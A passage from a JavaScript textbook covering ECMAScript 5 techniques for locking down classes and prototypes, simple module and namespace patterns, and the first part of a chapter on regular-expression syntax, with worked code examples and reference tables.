        from: {get: getFrom, set: setFrom, enumerable:true, configurable:false},
        to: { get: getTo, set: setTo, enumerable:true, configurable:false }
    });
}

// The prototype object is unchanged from previous examples.
// The instance methods read from and to as if they were ordinary properties.
Range.prototype = hideProps({
    constructor: Range,
    includes: function(x) { return this.from <= x && x <= this.to; },
    foreach: function(f) {for(var x=Math.ceil(this.from);x<=this.to;x++) f(x);},
    toString: function() { return "(" + this.from + "..." + this.to + ")"; }
});
```

9.8.4 Preventing Class Extensions

It is usually considered a feature of JavaScript that classes can be dynamically extended by adding new methods to the prototype object. ECMAScript 5 allows you to prevent this, if you want to. `Object.preventExtensions()` makes an object nonextensible (§6.8.3), which means that no new properties can be added to it. `Object.seal()` takes this a step further: it prevents the addition of new properties and also makes all current properties nonconfigurable, so that they cannot be deleted. (A nonconfigurable

property can still be writable, however, and can still be converted into a read-only property.) To prevent extensions to `Object.prototype`, you can simply write:

```
Object.seal(Object.prototype);
```

Another dynamic feature of JavaScript is the ability to replace (or "monkey-patch") methods of an object:

```
var original_sort_method = Array.prototype.sort;
Array.prototype.sort = function() {
    var start = new Date();
    original_sort_method.apply(this, arguments);
    var end = new Date();
    console.log("Array sort took " + (end - start) + " milliseconds.");
};
```

You can prevent this kind of alteration by making your instance methods read-only. The `freezeProps()` utility function defined above is one way to accomplish this. Another way is with `Object.freeze()`, which does everything that `Object.seal()` does, but also makes all properties read-only and nonconfigurable.

There is a feature of read-only properties that is important to understand when working with classes. If an object `o` inherits a read-only property `p`, an attempt to assign to `o.p` will fail and will not create a new property in `o`. If you want to override an inherited read-only property, you have to use `Object.defineProperty()` or `Object.defineProperties()` or `Object.create()` to create the new property. This means that if you make the instance methods of a class read-only, it becomes significantly more difficult for subclasses to override those methods.

It is not usually necessary to lock down prototype objects like this, but there are some circumstances where preventing extensions to an object can be useful. Think back to the `enumeration()` class factory function of Example 9-7. That function stored the instances of each enumerated type in properties of the constructor object, and also in the `values` array of the constructor. These properties and array serve as the official list of instances of the enumerated type, and it is worth freezing them, so that new instances cannot be added and existing instances cannot be deleted or altered. In the `enumeration()` function we can simply add these lines of code:

```
Object.freeze(enumeration.values);
Object.freeze(enumeration);
```

Notice that by calling `Object.freeze()` on the enumerated type, we prevent the future use of the `objectId` property defined in Example 9-17. A solution to this problem is to read the `objectId` property (calling the underlying accessor method and setting the internal property) of the enumerated type once before freezing it.

9.8.5 Subclasses and ECMAScript 5

Example 9-22 demonstrates subclassing using ECMAScript 5 features. It defines a StringSet class as a subclass of the AbstractWritableSet class from Example 9-16. The main feature of this example is the use of `Object.create()` to create a prototype object

that inherits from the superclass prototype and also define the properties of the newly created object. The difficulty with this approach, as mentioned earlier, is that it requires the use of awkward property descriptors.

Another interesting point about this example is that it passes `null` to `Object.create()` to create an object that inherits nothing. This object is used to store the members of the set, and the fact that it has no prototype allows us to use the `in` operator with it instead of the `hasOwnProperty()` method.

Example 9-22. StringSet: a set subclass using ECMAScript 5

```
function StringSet() {
    this.set = Object.create(null);  // Create object with no proto
    this.n = 0;
    this.add.apply(this, arguments);
}

// Note that with Object.create we can inherit from the superclass prototype
// and define methods in a single call. Since we don't specify any of the
// writable, enumerable, and configurable properties, they all default to false.
// Readonly methods makes this class trickier to subclass.
StringSet.prototype = Object.create(AbstractWritableSet.prototype, {
    constructor: { value: StringSet },
    contains: { value: function(x) { return x in this.set; } },
    size: { value: function(x) { return this.n; } },
    foreach: { value: function(f,c) { Object.keys(this.set).forEach(f,c); } },
    add: {
        value: function() {
            for(var i = 0; i < arguments.length; i++) {
                if (!(arguments[i] in this.set)) {
                    this.set[arguments[i]] = true;
                    this.n++;
                }
            }
            return this;
        }
    },
    remove: {
        value: function() {
            for(var i = 0; i < arguments.length; i++) {
                if (arguments[i] in this.set) {
                    delete this.set[arguments[i]];
                    this.n--;
                }
            }
            return this;
        }
    }
});
```

9.8.6 Property Descriptors

§6.7 described the property descriptors of ECMAScript 5 but didn't include many examples of their use. We conclude this section on ECMAScript 5 with an extended

example that will demonstrate many operations on ECMAScript 5 properties. Example 9-23 will add a `properties()` method (nonenumerable, of course) to `Object.prototype`. The return value of this method is an object that represents a list of properties and defines useful methods for displaying the properties and attributes (useful for debugging), for obtaining property descriptors (useful when you want to copy properties along with their attributes), and for setting attributes on the properties (useful alternatives to the `hideProps()` and `freezeProps()` functions defined earlier). This one example demonstrates most of the property-related features of ECMAScript 5, and also uses a modular coding technique that will be discussed in the next section.

Example 9-23. ECMAScript 5 properties utilities

```
/*
 * Define a properties() method in Object.prototype that returns an
 * object representing the named properties of the object on which it
 * is invoked (or representing all own properties of the object, if
 * invoked with no arguments).  The returned object defines four useful
 * methods: toString(), descriptors(), hide(), and show().
 */
(function namespace() {  // Wrap everything in a private function scope

    // This is the function that becomes a method of all object
    function properties() {
        var names;  // An array of property names
        if (arguments.length == 0)  // All own properties of this
            names = Object.getOwnPropertyNames(this);
        else if (arguments.length == 1 && Array.isArray(arguments[0]))
            names = arguments[0];   // Or an array of names
        else                        // Or the names in the argument list
            names = Array.prototype.splice.call(arguments, 0);

        // Return a new Properties object representing the named properties
        return new Properties(this, names);
    }

    // Make it a new nonenumerable property of Object.prototype.
    // This is the only value exported from this private function scope.
    Object.defineProperty(Object.prototype, "properties", {
        value: properties,
        enumerable: false, writable: true, configurable: true
    });

    // This constructor function is invoked by the properties() function above.
    // The Properties class represents a set of properties of an object.
    function Properties(o, names) {
        this.o = o;            // The object that the properties belong to
        this.names = names;    // The names of the properties
    }

    // Make the properties represented by this object nonenumerable
    Properties.prototype.hide = function() {
        var o = this.o, hidden = { enumerable: false };
        this.names.forEach(function(n) {
                               if (o.hasOwnProperty(n))
```

```
                                Object.defineProperty(o, n, hidden);
                            });
        return this;
    };

    // Make these properties read-only and nonconfigurable
    Properties.prototype.freeze = function() {
        var o = this.o, frozen = { writable: false, configurable: false };
        this.names.forEach(function(n) {
                                if (o.hasOwnProperty(n))
                                    Object.defineProperty(o, n, frozen);
                            });
        return this;
    };

    // Return an object that maps names to descriptors for these properties.
    // Use this to copy properties along with their attributes:
    //   Object.defineProperties(dest, src.properties().descriptors());
    Properties.prototype.descriptors = function() {
        var o = this.o, desc = {};
        this.names.forEach(function(n) {
                                if (!o.hasOwnProperty(n)) return;
                                desc[n] = Object.getOwnPropertyDescriptor(o,n);
                            });
        return desc;
    };

    // Return a nicely formatted list of properties, listing the
    // name, value and attributes. Uses the term "permanent" to mean
    // nonconfigurable, "readonly" to mean nonwritable, and "hidden"
    // to mean nonenumerable. Regular enumerable, writable, configurable
    // properties have no attributes listed.
    Properties.prototype.toString = function() {
        var o = this.o; // Used in the nested function below
        var lines = this.names.map(nameToString);
        return "{\n  " + lines.join(",\n  ") + "\n}";

        function nameToString(n) {
            var s = "", desc = Object.getOwnPropertyDescriptor(o, n);
            if (!desc) return "nonexistent " + n + ": undefined";
            if (!desc.configurable) s += "permanent ";
            if ((desc.get && !desc.set) || !desc.writable) s += "readonly ";
            if (!desc.enumerable) s += "hidden ";
            if (desc.get || desc.set) s += "accessor " + n
            else s += n + ": " + ((typeof desc.value=="function")?"function"
                                                                  :desc.value);
            return s;
        }
    };

    // Finally, make the instance methods of the prototype object above
    // nonenumerable, using the methods we've defined here.
    Properties.prototype.properties().hide();
}()); // Invoke the enclosing function as soon as we're done defining it.
```

9.9 Modules

An important reason to organize code into classes is to make that code more *modular* and suitable for reuse in a variety of situations. Classes are not the only kind of modular code, however. Typically, a module is a single file of JavaScript code. A module file might contain a class definition, a set of related classes, a library of utility functions, or just a script of code to execute. Any chunk of JavaScript code can be a module, as long as it is written in a modular way. JavaScript does not define any language constructs for working with modules (it does reserve the keywords `imports` and `exports`, however, so future versions of the language might), which means that writing modular JavaScript is largely a matter of following certain coding conventions.

Many JavaScript libraries and client-side programming frameworks include some kind of module system. Both the Dojo toolkit and Google's Closure library, for example, define `provide()` and `require()` functions for declaring and loading modules. And the CommonJS server-side JavaScript standardization effort (see *http://commonjs.org*) has created a modules specification that also uses a `require()` function. Module systems like this often handle module loading and dependency management for you and are beyond the scope of this discussion. If you use one of these frameworks, then you should use and define modules following the conventions appropriate to that framework. In this section we'll discuss very simple module conventions.

The goal of modules is to allow large programs to be assembled using code from disparate sources, and for all of that code to run correctly even in the presence of code that the module authors did not anticipate. In order for this to work, the various modules must avoid altering the global execution environment, so that subsequent modules are allowed to run in the pristine (or near pristine) environment that it expects. As a practical matter, this means that modules should minimize the number of global symbols they define—ideally, no module should define more than one. The subsections that follow describe simple ways to accomplish this. You'll see that writing modular code in JavaScript is not at all tricky: we've seen examples of the techniques described here throughout this book.

9.9.1 Objects As Namespaces

One way for a module to avoid the creation of global variables is to use an object as its namespace. Instead of defining global functions and variables, it stores the functions and values as properties of an object (which may be referenced by a global variable). Consider the Set class of Example 9-6. It defines a single global constructor function `Set`. It defines various instance methods for the class, but it stores them as properties of `Set.prototype` so they are not globals. That example also defines a `_v2s()` utility function, but instead of making it a global function, it stores it as a property of `Set`.

Next, consider Example 9-16. That example defined a number of abstract and concrete set classes. Each class had only a single global symbol, but the whole module (the single

file of code) defined quite a few globals. From the standpoint of a clean global namespace, it would be better if this module of set classes defined a single global:

```
var sets = {};
```

This `sets` object is the namespace for the module, and we define each of the set classes as a property of this object:

```
sets.SingletonSet = sets.AbstractEnumerableSet.extend(...);
```

When we want to use a class defined like this, we simply include the namespace when we refer to the constructor:

```
var s = new sets.SingletonSet(1);
```

The author of a module cannot know what other modules their module will be used with and must guard against name collisions by using namespaces like this. The programmer who uses the module, however, knows what modules are in use and what names are defined. This programmer doesn't have to keep using the namespaces rigidly, and can *import* frequently used values into the global namespace. A programmer who was going to make frequent use of the Set class from the `sets` namespace might import the class like this:

```
var Set = sets.Set;     // Import Set to the global namespace
var s = new Set(1,2,3); // Now we can use it without the sets prefix.
```

Sometimes module authors use more deeply nested namespaces. If the sets module was part of a larger group of collections modules, it might use `collections.sets` as a namespace, and the module would begin with code like this:

```
var collections;      // Declare (or re-declare) the single global variable
if (!collections)     // If it doesn't already exist
    collections = {}; // Create a toplevel namespace object
collections.sets = {} // And create the sets namespace within that.
// Now start defining our set classes inside collections.sets
collections.sets.AbstractSet = function() { ... }
```

Sometimes the top-level namespace is used to identify the person or organization that created the modules and prevent name collisions between namespace names. The Google Closure library, for example, defines its Set class in the namespace goog.structs. Individuals can reverse the components of an Internet domain name to create a globally unique namespace prefix that is unlikely to be in use by any other module authors. Since my website is at *davidflanagan.com*, I could publish my sets module in the namespace `com.davidflanagan.collections.sets`.

With namespaces this long, importing values becomes important for any user of your module. Rather than importing individual classes, however, a programmer might import the entire module to the global namespace:

```
var sets = com.davidflanagan.collections.sets;
```

By convention, the filename of a module should match its namespace. The sets module should be stored in a file named *sets.js*. If that module uses the namespace collections.sets, then this file should be stored in a directory named *collections/* (this

directory might also include a file named *maps.js*). And a module that used the namespace com.davidflanagan.collections.sets would be in *com/davidflanagan/collections/sets.js*.

9.9.2 Function Scope As a Private Namespace

Modules have a public API that they export: these are the functions, classes, properties, and methods that are intended to be used by other programmers. Often, however, module implementations require additional functions or methods that are not intended for use outside of the module. The `Set._v2s()` function of Example 9-6 is an example—we don't want users of the Set class to ever call that function, so it would be better if it was inaccessible.

We can do that by defining our module (the Set class in this case) inside a function. As described in §8.5, variables and functions defined within another function are local to that function and not visible outside of it. In effect, we can use the scope of a function (sometimes called a "module function") as a private namespace for our module. Example 9-24 shows what this might look like for our Set class.

Example 9-24. A Set class in a module function

```
// Declare a global variable Set and assign it the return value of this function
// The open parenthesis and the function name below hint that the function
// will be invoked immediately after being defined, and that it is the function
// return value, not the function itself, that is being assigned.
// Note that this is a function expression, not a statement, so the name
// "invocation" does not create a global variable.
var Set = (function invocation() {

    function Set() {  // This constructor function is a local variable.
        this.values = {};     // The properties of this object hold the set
        this.n = 0;           // How many values are in the set
        this.add.apply(this, arguments);  // All arguments are values to add
    }

    // Now define instance methods on Set.prototype.
    // For brevity, code has been omitted here
    Set.prototype.contains = function(value) {
        // Note that we call v2s(), not the heavily prefixed Set._v2s()
        return this.values.hasOwnProperty(v2s(value));
    };
    Set.prototype.size = function() { return this.n; };
    Set.prototype.add = function() { /* ... */ };
    Set.prototype.remove = function() { /* ... */ };
    Set.prototype.foreach = function(f, context) { /* ... */ };

    // These are helper functions and variables used by the methods above
    // They're not part of the public API of the module, but they're hidden
    // within this function scope so we don't have to define them as a
    // property of Set or prefix them with underscores.
    function v2s(val) { /* ... */ }
    function objectId(o) { /* ... */ }
    var nextId = 1;
```

```
    // The public API for this module is the Set() constructor function.
    // We need to export that function from this private namespace so that
    // it can be used on the outside.  In this case, we export the constructor
    // by returning it.  It becomes the value of the assignment expression
    // on the first line above.
    return Set;
}()); // Invoke the function immediately after defining it.
```

Note that this function definition followed by immediate invocation is idiomatic in JavaScript. Code that is to run in a private namespace is prefixed by "(function() {" and followed by "}());". The open parenthesis at the start ensures that this is a function expression, not a function definition statement, so any function name that clarifies your code can be added to the prefix. In Example 9-24 we used the name "invocation" to emphasize that the function would be invoked immediately after being defined. The name "namespace" could also be used to emphasize that the function was serving as a namespace.

Once module code has been sealed up inside a function, it needs some way to export its public API so that it can be used from outside the module function. In Example 9-24, the module function returned the constructor, which we then assigned to a global variable. The fact that the value is returned makes it very clear that it is being exported outside of the function scope. Modules that have more than one item in their API can return a namespace object. For our sets module, we might write code that looks something like this:

```
// Create a single global variable to hold all collection-related modules
var collections;
if (!collections) collections = {};

// Now define the sets module
collections.sets = (function namespace() {
    // Define the various set classes here, using local variables and functions
    //    ... Lots of code omitted...

    // Now export our API by returning a namespace object
    return {
        // Exported property name : local variable name
        AbstractSet: AbstractSet,
        NotSet: NotSet,
        AbstractEnumerableSet: AbstractEnumerableSet,
        SingletonSet: SingletonSet,
        AbstractWritableSet: AbstractWritableSet,
        ArraySet: ArraySet
    };
}());
```

A similar technique is to treat the module function as a constructor, invoke it with `new`, and export values by assigning them to `this`:

```
var collections;
if (!collections) collections = {};
collections.sets = (new function namespace() {
```

```
    //    ... Lots of code omitted...

    // Now export our API to the this object
    this.AbstractSet = AbstractSet;
    this.NotSet = NotSet;      // And so on....

    // Note no return value.
}());
```

As an alternative, if a global namespace object has already been defined, the module function can simply set properties of that object directly, and not bother returning anything at all:

```
var collections;
if (!collections) collections = {};
collections.sets = {};
(function namespace() {
    //    ... Lots of code omitted...

    // Now export our public API to the namespace object created above
    collections.sets.AbstractSet = AbstractSet;
    collections.sets.NotSet = NotSet;     // And so on...

    // No return statement is needed since exports were done above.
}());
```

Frameworks that define module loading systems may have other methods of exporting a module's API. There may be a `provides()` function for modules to register their API, or an `exports` object into which modules must store their API. Until JavaScript has module management features of its own, you should choose the module creation and exporting system that works best with whatever framework or toolkit you use.

CHAPTER 10

Pattern Matching with Regular Expressions

A *regular expression* is an object that describes a pattern of characters. The JavaScript RegExp class represents regular expressions, and both String and RegExp define methods that use regular expressions to perform powerful pattern-matching and search-and-replace functions on text. JavaScript's regular expression grammar is a fairly complete subset of the regular-expression syntax used by Perl 5, so if you are an experienced Perl programmer, you already know how to describe patterns in JavaScript.[1]

This chapter begins by defining the syntax that regular expressions use to describe textual patterns. It then moves on to describe the String and RegExp methods that use regular expressions.

10.1 Defining Regular Expressions

In JavaScript, regular expressions are represented by RegExp objects. RegExp objects may be created with the `RegExp()` constructor, of course, but they are more often created using a special literal syntax. Just as string literals are specified as characters within quotation marks, regular expression literals are specified as characters within a pair of slash (/) characters. Thus, your JavaScript code may contain lines like this:

```
var pattern = /s$/;
```

This line creates a new RegExp object and assigns it to the variable `pattern`. This particular RegExp object matches any string that ends with the letter "s." This regular expression could have equivalently been defined with the `RegExp()` constructor like this:

```
var pattern = new RegExp("s$");
```

1. Perl regular expression features that are not supported by ECMAScript include the `s` (single-line mode) and `x` (extended syntax) flags; the `\a`, `\e`, `\l`, `\u`, `\L`, `\U`, `\E`, `\Q`, `\A`, `\Z`, `\z`, and `\G` escape sequences; the `(?<=` positive look-behind anchor and the `(?<!` negative look-behind anchor; and the `(?#` comment and the other extended `(?` syntaxes.

RegExp Literals and Object Creation

Literals of primitive type, like strings and numbers, evaluate (obviously) to the same value each time they are encountered in a program. Object literals (or initializers) such as `{}` and `[]` create a new object each time they are encountered. If you write `var a = []` in the body of a loop, for example, each iteration of the loop will create a new empty array.

Regular expression literals are a special case. The ECMAScript 3 specification says that a RegExp literal is converted to a RegExp object when the code is parsed, and each evaluation of the code returns the same object. The ECMAScript 5 specification reverses this and requires that each evaluation of a RegExp return a new object. IE has always implemented the ECMAScript 5 behavior and most current browsers have now switched to it, even before they fully implement the standard.

Regular-expression pattern specifications consist of a series of characters. Most characters, including all alphanumeric characters, simply describe characters to be matched literally. Thus, the regular expression `/java/` matches any string that contains the substring "java". Other characters in regular expressions are not matched literally but have special significance. For example, the regular expression `/s$/` contains two characters. The first, "s", matches itself literally. The second, "$", is a special metacharacter that matches the end of a string. Thus, this regular expression matches any string that contains the letter "s" as its last character.

The following sections describe the various characters and metacharacters used in JavaScript regular expressions.

10.1.1 Literal Characters

As noted earlier, all alphabetic characters and digits match themselves literally in regular expressions. JavaScript regular-expression syntax also supports certain nonalphabetic characters through escape sequences that begin with a backslash (\). For example, the sequence `\n` matches a literal newline character in a string. Table 10-1 lists these characters.

Table 10-1. Regular-expression literal characters

Character	Matches
Alphanumeric character	Itself
`\0`	The NUL character (`\u0000`)
`\t`	Tab (`\u0009`)
`\n`	Newline (`\u000A`)
`\v`	Vertical tab (`\u000B`)
`\f`	Form feed (`\u000C`)

Character	Matches
`\r`	Carriage return (`\u000D`)
`\x` *nn*	The Latin character specified by the hexadecimal number *nn*; for example, `\x0A` is the same as `\n`
`\u` *xxxx*	The Unicode character specified by the hexadecimal number *xxxx*; for example, `\u0009` is the same as `\t`
`\c` *X*	The control character `^` *X*; for example, `\cJ` is equivalent to the newline character `\n`

A number of punctuation characters have special meanings in regular expressions. They are:

```
^ $ . * + ? = ! : | \ / ( ) [ ] { }
```

The meanings of these characters are discussed in the sections that follow. Some of these characters have special meaning only within certain contexts of a regular expression and are treated literally in other contexts. As a general rule, however, if you want to include any of these punctuation characters literally in a regular expression, you must precede them with a `\`. Other punctuation characters, such as quotation marks and `@`, do not have special meaning and simply match themselves literally in a regular expression.

If you can't remember exactly which punctuation characters need to be escaped with a backslash, you may safely place a backslash before any punctuation character. On the other hand, note that many letters and numbers have special meaning when preceded by a backslash, so any letters or numbers that you want to match literally should not be escaped with a backslash. To include a backslash character literally in a regular expression, you must escape it with a backslash, of course. For example, the following regular expression matches any string that includes a backslash: `/\\/`.

10.1.2 Character Classes

Individual literal characters can be combined into *character classes* by placing them within square brackets. A character class matches any one character that is contained within it. Thus, the regular expression `/[abc]/` matches any one of the letters a, b, or c. Negated character classes can also be defined; these match any character except those contained within the brackets. A negated character class is specified by placing a caret (`^`) as the first character inside the left bracket. The regexp `/[^abc]/` matches any one character other than a, b, or c. Character classes can use a hyphen to indicate a range of characters. To match any one lowercase character from the Latin alphabet, use `/[a-z]/` and to match any letter or digit from the Latin alphabet, use `/[a-zA-Z0-9]/`.

Because certain character classes are commonly used, the JavaScript regular-expression syntax includes special characters and escape sequences to represent these common classes. For example, `\s` matches the space character, the tab character, and any other Unicode whitespace character; `\S` matches any character that is *not* Unicode whitespace. Table 10-2 lists these characters and summarizes character-class syntax. (Note that several of these character-class escape sequences match only ASCII characters and

have not been extended to work with Unicode characters. You can, however, explicitly define your own Unicode character classes; for example, `/[\u0400-\u04FF]/` matches any one Cyrillic character.)

Table 10-2. Regular expression character classes

Character	Matches
`[...]`	Any one character between the brackets.
`[^...]`	Any one character not between the brackets.
`.`	Any character except newline or another Unicode line terminator.
`\w`	Any ASCII word character. Equivalent to `[a-zA-Z0-9_]`.
`\W`	Any character that is not an ASCII word character. Equivalent to `[^a-zA-Z0-9_]`.
`\s`	Any Unicode whitespace character.
`\S`	Any character that is not Unicode whitespace. Note that `\w` and `\S` are not the same thing.
`\d`	Any ASCII digit. Equivalent to `[0-9]`.
`\D`	Any character other than an ASCII digit. Equivalent to `[^0-9]`.
`[\b]`	A literal backspace (special case).

Note that the special character-class escapes can be used within square brackets. `\s` matches any whitespace character, and `\d` matches any digit, so `/[\s\d]/` matches any one whitespace character or digit. Note that there is one special case. As you'll see later, the `\b` escape has a special meaning. When used within a character class, however, it represents the backspace character. Thus, to represent a backspace character literally in a regular expression, use the character class with one element: `/[\b]/`.

10.1.3 Repetition

With the regular expression syntax you've learned so far, you can describe a two-digit number as `/\d\d/` and a four-digit number as `/\d\d\d\d/`. But you don't have any way to describe, for example, a number that can have any number of digits or a string of three letters followed by an optional digit. These more complex patterns use regular-expression syntax that specifies how many times an element of a regular expression may be repeated.

The characters that specify repetition always follow the pattern to which they are being applied. Because certain types of repetition are quite commonly used, there are special characters to represent these cases. For example, `+` matches one or more occurrences of the previous pattern. Table 10-3 summarizes the repetition syntax.

Table 10-3. Regular expression repetition characters

Character	Meaning
`{ n , m }`	Match the previous item at least *n* times but no more than *m* times.
`{ n ,}`	Match the previous item *n* or more times.
`{ n }`	Match exactly *n* occurrences of the previous item.
`?`	Match zero or one occurrences of the previous item. That is, the previous item is optional. Equivalent to `{0,1}`.
`+`	Match one or more occurrences of the previous item. Equivalent to `{1,}`.
`*`	Match zero or more occurrences of the previous item. Equivalent to `{0,}`.

The following lines show some examples:

```
/\d{2,4}/    // Match between two and four digits
/\w{3}\d?/   // Match exactly three word characters and an optional digit
/\s+java\s+/ // Match "java" with one or more spaces before and after
/[^(]*/      // Match zero or more characters that are not open parenthesis
```

Be careful when using the `*` and `?` repetition characters. Since these characters may match zero instances of whatever precedes them, they are allowed to match nothing. For example, the regular expression `/a*/` actually matches the string "bbbb" because the string contains zero occurrences of the letter a!

10.1.3.1 Nongreedy repetition

The repetition characters listed in Table 10-3 match as many times as possible while still allowing any following parts of the regular expression to match. We say that this repetition is "greedy." It is also possible to specify that repetition should be done in a nongreedy way. Simply follow the repetition character or characters with a question mark: `??`, `+?`, `*?`, or even `{1,5}?`. For example, the regular expression `/a+/` matches one or more occurrences of the letter a. When applied to the string "aaa", it matches all three letters. But `/a+?/` matches one or more occurrences of the letter a, matching as few characters as necessary. When applied to the same string, this pattern matches only the first letter a.

Using nongreedy repetition may not always produce the results you expect. Consider the pattern `/a+b/`, which matches one or more a's, followed by the letter b. When applied to the string "aaab", it matches the entire string. Now let's use the nongreedy version: `/a+?b/`. This should match the letter b preceded by the fewest number of a's possible. When applied to the same string "aaab", you might expect it to match only one a and the last letter b. In fact, however, this pattern matches the entire string, just like the greedy version of the pattern. This is because regular-expression pattern matching is done by finding the first position in the string at which a match is possible. Since a match is possible starting at the first character of the string, shorter matches starting at subsequent characters are never even considered.

10.1.4 Alternation, Grouping, and References

The regular-expression grammar includes special characters for specifying alternatives, grouping subexpressions, and referring to previous subexpressions. The `|` character separates alternatives. For example, `/ab|cd|ef/` matches the string "ab" or the string "cd" or the string "ef". And `/\d{3}|[a-z]{4}/` matches either three digits or four lowercase letters.

Note that alternatives are considered left to right until a match is found. If the left alternative matches, the right alternative is ignored, even if it would have produced a "better" match. Thus, when the pattern `/a|ab/` is applied to the string "ab", it matches only the first letter.

Parentheses have several purposes in regular expressions. One purpose is to group separate items into a single subexpression so that the items can be treated as a single unit by `|`, `*`, `+`, `?`, and so on. For example, `/java(script)?/` matches "java" followed by the optional "script". And `/(ab|cd)+|ef/` matches either the string "ef" or one or more repetitions of either of the strings "ab" or "cd".

Another purpose of parentheses in regular expressions is to define subpatterns within the complete pattern. When a regular expression is successfully matched against a target string, it is possible to extract the portions of the target string that matched any particular parenthesized subpattern. (You'll see how these matching substrings are obtained later in the chapter.) For example, suppose you are looking for one or more lowercase letters followed by one or more digits. You might use the pattern `/[a-z]+\d+/`. But suppose you only really care about the digits at the end of each match. If you put that part of the pattern in parentheses `(/[a-z]+(\d+)/)`, you can extract the digits from any matches you find, as explained later.

A related use of parenthesized subexpressions is to allow you to refer back to a subexpression later in the same regular expression. This is done by following a `\` character by a digit or digits. The digits refer to the position of the parenthesized subexpression within the regular expression. For example, `\1` refers back to the first subexpression, and `\3` refers to the third. Note that, because subexpressions can be nested within others, it is the position of the left parenthesis that is counted. In the following regular expression, for example, the nested subexpression `([Ss]cript)` is referred to as `\2`:

```
/([Jj]ava([Ss]cript)?)\sis\s(fun\w*)/
```

A reference to a previous subexpression of a regular expression does *not* refer to the pattern for that subexpression but rather to the text that matched the pattern. Thus, references can be used to enforce a constraint that separate portions of a string contain exactly the same characters. For example, the following regular expression matches zero or more characters within single or double quotes. However, it does not require the opening and closing quotes to match (i.e., both single quotes or both double quotes):

```
/['"][^'"]*['"]/
```

To require the quotes to match, use a reference:

```
/(['"])[^'"]*\1/
```

The `\1` matches whatever the first parenthesized subexpression matched. In this example, it enforces the constraint that the closing quote match the opening quote. This regular expression does not allow single quotes within double-quoted strings or vice versa. It is not legal to use a reference within a character class, so you cannot write:

```
/(['"])[^\1]*\1/
```

Later in this chapter, you'll see that this kind of reference to a parenthesized subexpression is a powerful feature of regular-expression search-and-replace operations.

It is also possible to group items in a regular expression without creating a numbered reference to those items. Instead of simply grouping the items within `(` and `)`, begin the group with `(?:` and end it with `)`. Consider the following pattern, for example:

```
/([Jj]ava(?:[Ss]cript)?)\sis\s(fun\w*)/
```

Here, the subexpression `(?:[Ss]cript)` is used simply for grouping, so the `?` repetition character can be applied to the group. These modified parentheses do not produce a reference, so in this regular expression, `\2` refers to the text matched by `(fun\w*)`.

Table 10-4 summarizes the regular-expression alternation, grouping, and referencing operators.

Table 10-4. Regular expression alternation, grouping, and reference characters

Character	Meaning
`|`	Alternation. Match either the subexpression to the left or the subexpression to the right.
`(...)`	Grouping. Group items into a single unit that can be used with `*`, `+`, `?`, `|`, and so on. Also remember the characters that match this group for use with later references.
`(?:...)`	Grouping only. Group items into a single unit, but do not remember the characters that match this group.
`\`*n*	Match the same characters that were matched when group number *n* was first matched. Groups are subexpressions within (possibly nested) parentheses. Group numbers are assigned by counting left parentheses from left to right. Groups formed with `(?:` are not numbered.

10.1.5 Specifying Match Position

As described earlier, many elements of a regular expression match a single character in a string. For example, `\s` matches a single character of whitespace. Other regular expression elements match the positions between characters, instead of actual characters. `\b`, for example, matches a word boundary—the boundary between a `\w` (ASCII word character) and a `\W` (nonword character), or the boundary between an ASCII word character and the beginning or end of a string.[2] Elements such as `\b` do not specify any

2. Except within a character class (square brackets), where `\b` matches the backspace character.

Download from Wow! eBook <www.wowebook.com>

characters to be used in a matched string; what they do specify, however, are legal positions at which a match can occur. Sometimes these elements are called *regular-expression anchors* because they anchor the pattern to a specific position in the search string. The most commonly used anchor elements are `^`, which ties the pattern to the beginning of the string, and `$`, which anchors the pattern to the end of the string.

For example, to match the word "JavaScript" on a line by itself, you can use the regular expression `/^JavaScript$/`. If you want to search for "Java" as a word by itself (not as a prefix, as it is in "JavaScript"), you can try the pattern `/\sJava\s/`, which requires a space before and after the word. But there are two problems with this solution. First, it does not match "Java" at the beginning or the end of a string, but only if it appears with space on either side. Second, when this pattern does find a match, the matched string it returns has leading and trailing spaces, which is not quite what's needed. So instead of matching actual space characters with `\s`, match (or anchor to) word boundaries with `\b`. The resulting expression is `/\bJava\b/`. The element `\B` anchors the match to a location that is not a word boundary. Thus, the pattern `/\B[Ss]cript/` matches "JavaScript" and "postscript", but not "script" or "Scripting".

You can also use arbitrary regular expressions as anchor conditions. If you include an expression within `(?=` and `)` characters, it is a lookahead assertion, and it specifies that the enclosed characters must match, without actually matching them. For example, to match the name of a common programming language, but only if it is followed by a colon, you could use `/[Jj]ava([Ss]cript)?(?=\:)/`. This pattern matches the word "JavaScript" in "JavaScript: The Definitive Guide", but it does not match "Java" in "Java in a Nutshell", because it is not followed by a colon.

If you instead introduce an assertion with `(?!`, it is a negative lookahead assertion, which specifies that the following characters must not match. For example, `/Java(?!Script)([A-Z]\w*)/` matches "Java" followed by a capital letter and any number of additional ASCII word characters, as long as "Java" is not followed by "Script". It matches "JavaBeans" but not "Javanese", and it matches "JavaScrip" but not "JavaScript" or "JavaScripter".

Table 10-5 summarizes regular-expression anchors.

Table 10-5. Regular-expression anchor characters

Character	Meaning
`^`	Match the beginning of the string and, in multiline searches, the beginning of a line.
`$`	Match the end of the string and, in multiline searches, the end of a line.
`\b`	Match a word boundary. That is, match the position between a `\w` character and a `\W` character or between a `\w` character and the beginning or end of a string. (Note, however, that `[\b]` matches backspace.)
`\B`	Match a position that is not a word boundary.
`(?=`*p*`)`	A positive lookahead assertion. Require that the following characters match the pattern *p*, but do not include those characters in the match.
`(?!`*p*`)`	A negative lookahead assertion. Require that the following characters do not match the pattern *p*.

10.1.6 Flags

There is one final element of regular-expression grammar. Regular-expression flags specify high-level pattern-matching rules. Unlike the rest of regular-expression syntax, flags are specified outside the `/` characters; instead of appearing within the slashes, they appear following the second slash. JavaScript supports three flags. The `i` flag specifies that pattern matching should be case-insensitive. The `g` flag specifies that pattern matching should be global—that is, all matches within the searched string should be found. The `m` flag performs pattern matching in multiline mode. In this mode, if the string to be searched contains newlines, the `^` and `$` anchors match the beginning and end of a line in addition to matching the beginning and end of a string. For example, the pattern `/java$/im` matches "java" as well as "Java\nis fun".

These flags may be specified in any combination. For example, to do a case-insensitive search for the first occurrence of the word "java" (or "Java", "JAVA", etc.), you can use the case-insensitive regular expression `/\bjava\b/i`. And to find all occurrences of the word in a string, you can add the `g` flag: `/\bjava\b/gi`.

Table 10-6 summarizes these regular-expression flags. Note that you'll see more about the `g` flag later in this chapter, when the String and RegExp methods are used to actually perform matches.

Table 10-6. Regular-expression flags

Character	Meaning
`i`	Perform case-insensitive matching.
`g`	Perform a global match—that is, find all matches rather than stopping after the first match.
